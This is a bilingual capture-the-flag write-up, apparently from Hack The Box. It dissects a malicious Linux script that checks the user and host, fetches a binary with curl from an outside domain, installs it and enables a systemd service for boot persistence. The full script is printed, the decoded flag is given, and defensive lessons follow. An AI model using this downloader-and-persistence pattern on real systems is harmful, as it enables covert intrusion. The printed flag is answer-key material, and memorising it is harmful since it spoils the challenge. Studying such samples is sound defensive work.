Extraterrestrial Persistence

A Linux persistence script via systemd. Decoding the Base64 that builds the .service file, the flag appears inside the Description= field.

Challenge overview

Attack map

[persistence.sh] malicious script
      │
      ▼
[checks] user/host + curl payload
      │
      ▼
[base64 -d] builds service.service
      │
      ▼
[Description=] holds the flag
      │
      ▼
[FLAG]

Script de persistencia Linux vía systemd. Al decodificar el Base64 que genera el fichero .service, la flag aparece dentro del campo Description=.

Ficha del challenge

Mapa del ataque

[persistence.sh] script malicioso
      │
      ▼
[checks] usuario/host + curl payload
      │
      ▼
[base64 -d] genera service.service
      │
      ▼
[Description=] contiene la flag
      │
      ▼
[FLAG]

1. Read the script

The challenge ships persistence.sh. Reading it end to end reveals the full chain: environment check, payload download and service creation.

cat persistence.sh

n=`whoami`; h=`hostname`
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o /usr/local/bin/service
chmod +x /usr/local/bin/service
echo -e "BASE64..." | base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service

2. Understand the persistence

It only runs if the user is pandora on host linux_HQ (anti-analysis). Then it creates a systemd service enabled at every boot.

3. Decode the Base64

The heart of the challenge is the Base64 block that becomes the .service file. We decode it manually to see its contents.

echo "BASE64_AQUI" | base64 -d

[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/service

[Install]
WantedBy=multi-user.target

4. Flag

HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Persistence chain

Lessons learned

• systemd services are a common persistence mechanism — inspect /usr/lib/systemd/system and systemctl list-unit-files.
• Base64 is not encryption — always decode it; it hides payloads and data in plain text.
• User/host checks in malware aim to evade analysis sandboxes.

1. Leer el script

El challenge entrega persistence.sh. Leerlo entero revela la cadena completa: comprobación de entorno, descarga de payload y creación del servicio.

cat persistence.sh

n=`whoami`; h=`hostname`
if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi
curl https://files.pypi-install.com/packeges/service -o /usr/local/bin/service
chmod +x /usr/local/bin/service
echo -e "BASE64..." | base64 --decode > /usr/lib/systemd/system/service.service
systemctl enable service.service

2. Entender la persistencia

Solo se ejecuta si el usuario es pandora en el host linux_HQ (anti-análisis). Luego crea un servicio systemd habilitado en cada arranque.

3. Decodificar el Base64

El corazón del reto es el bloque Base64 que se convierte en el fichero .service. Lo decodificamos manualmente para ver su contenido.

echo "BASE64_AQUI" | base64 -d

[Unit]
Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
After=network.target network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/service

[Install]
WantedBy=multi-user.target

4. Flag

HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Cadena de persistencia

Lecciones aprendidas

• Los servicios systemd son un mecanismo de persistencia habitual: revisa /usr/lib/systemd/system y systemctl list-unit-files.
• El Base64 no es cifrado: siempre decodifícalo, esconde payloads y datos en texto plano.
• Las comprobaciones de usuario/host en malware buscan evadir sandboxes de análisis.